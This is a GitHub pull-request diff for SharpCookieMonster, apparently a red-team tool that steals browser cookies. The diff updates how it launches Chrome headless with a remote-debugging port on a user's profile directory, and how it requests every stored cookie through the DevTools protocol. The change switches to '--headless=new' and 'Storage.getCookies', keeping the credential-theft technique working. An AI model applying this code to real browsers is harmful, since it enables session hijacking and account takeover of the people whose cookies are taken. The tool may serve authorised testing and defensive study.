Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 3 additions & 3 deletions SharpCookieMonster/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -164,7 +164,7 @@ private static Process LaunchBrowserHeadless(string url, string userdata, int po

browserProcess.StartInfo.UseShellExecute = false;
browserProcess.StartInfo.FileName = path;
browserProcess.StartInfo.Arguments = $"\"{url}\" --headless --user-data-dir=\"{userdata}\" --remote-debugging-port={port} --remote-allow-origins=ws://localhost:{port}";
browserProcess.StartInfo.Arguments = $"\"{url}\" --headless=new --user-data-dir=\"{userdata}\" --remote-debugging-port={port} --remote-allow-origins=ws://localhost:{port}";
browserProcess.StartInfo.CreateNoWindow = true;
browserProcess.OutputDataReceived += LogData;
browserProcess.ErrorDataReceived += LogData;
Expand Down Expand Up @@ -204,7 +204,7 @@ private static string GrabCookies(int port)
}

var debugUrl = match.Groups[1].Value;
const string cookiesRequest = "{\"id\": 1, \"method\": \"Network.getAllCookies\"}";
const string cookiesRequest = "{\"id\": 1, \"method\": \"Storage.getCookies\"}";
Console.WriteLine("[*] Retrieved debug url: " + debugUrl);
return WebSocketRequest35(debugUrl, cookiesRequest);
}
Expand Down Expand Up @@ -283,4 +283,4 @@ private static bool WaitForPort(int port)
return false;
}
}
}
}